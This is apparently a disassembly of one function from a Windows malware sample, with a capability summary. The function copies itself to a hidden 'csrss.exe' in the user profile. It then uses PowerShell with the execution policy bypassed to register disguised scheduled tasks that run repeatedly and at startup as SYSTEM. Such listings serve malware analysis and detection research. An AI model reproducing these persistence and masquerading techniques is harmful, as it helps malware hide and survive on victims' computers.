Function at 0x4018c0
Capabilities:
Create process on windows
Get file size
Query environment variable
Read file on windows
Schedule task via schtasks
Set file attributes
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x111c
call fcn.00402aa0
mov eax, dword [0x414024]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
lea eax, [ebp - 0x10f0]
mov edx, 0x44
mov byte [eax], 0
lea eax, [eax + 1]
sub edx, 1
jne 0x4018e7
mov dword [ebp - 0x10f0], 0x44
lea eax, [ebp - 0x1118]
mov ecx, 0x10
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401907
push 0x104
lea eax, [ebp - 0x2c8]
push eax
push str._userprofile_csrss.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x2c8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x401a03
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
call esi
push 0
push 0x80
push 2
push 0
push 2
mov edi, eax
lea eax, [ebp - 0x2c8]
push 0x40000000
push eax
call esi
mov ebx, eax
cmp edi, 0xffffffff
je 0x4019f4
cmp ebx, 0xffffffff
je 0x4019f4
lea eax, [ebp - 0x10f8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push 4
push 0x3000
push dword [ebp - 0x10f8]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x4019e8
push 0
lea eax, [ebp - 0x105c]
push eax
push dword [ebp - 0x10f8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [ebp - 0x1060]
push eax
push dword [ebp - 0x105c]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
push ebx
call esi
push 6
lea eax, [ebp - 0x2c8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, 0x44
lea eax, [ebp - 0x10a8]
nop
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401a10
mov dword [ebp - 0x10a8], 0x44
lea eax, [ebp - 0x1108]
mov ecx, 0x10
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401a30
mov ecx, 0x3d
lea edi, [ebp - 0x3c0]
mov esi, str.powershell__ExecutionPolicy_Bypass__Command___Action__Register_ScheduledTask__Action__New_ScheduledTaskAction__Execute__
lea eax, [ebp - 0x3c0]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x84
lea edi, [ebp - 0x5d8]
mov esi, str.____Trigger__New_ScheduledTaskTrigger__Once__At__Get_Date_.AddSeconds_10___RepetitionInterval__New_TimeSpan__Seconds_30___RepetitionDuration___TimeSpan_::MaxValue____TaskName__Windows_Execution_Runtime_Check___Description__Client_Server_Runtime_SubSystem_Checker__
rep movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0xc58]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x2c8]
push eax
lea eax, [ebp - 0xc58]
push eax
call ebx
lea eax, [ebp - 0x5d8]
push eax
lea eax, [ebp - 0xc58]
push eax
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea eax, [ebp - 0x1108]
push eax
lea eax, [ebp - 0x10a8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc58]
push eax
push 0
call ebx
push dword [ebp - 0x1108]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1104]
call esi
mov ecx, 0x2d
lea edi, [ebp - 0xc0]
mov esi, str.powershell__ExecutionPolicy_Bypass__Command___Action__New_ScheduledTaskAction__Execute_
lea eax, [ebp - 0xc0]
rep movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0x1058]
mov ecx, 0x9f
mov esi, str.___Trigger__New_ScheduledTaskTrigger__AtStartup___Principal__New_ScheduledTaskPrincipal__UserId_SYSTEM__LogonType_ServiceAccount__RunLevel_Highest__Register_ScheduledTask__Action__Action__Trigger__Trigger__Principal__Principal__TaskName_Windows_Runtime_Subsystem__Description_Client_Server_Runtime_SubSystem_
lea edi, [ebp - 0x858]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x2c8]
push eax
lea eax, [ebp - 0x1058]
push eax
call esi
lea eax, [ebp - 0x858]
push eax
lea eax, [ebp - 0x1058]
push eax
call esi
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebp - 0x10f0]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x1058]
push eax
push 0
call ebx
push dword [ebp - 0x1118]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [ebp - 0x1114]
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401ec5
mov esp, ebp
pop ebp
ret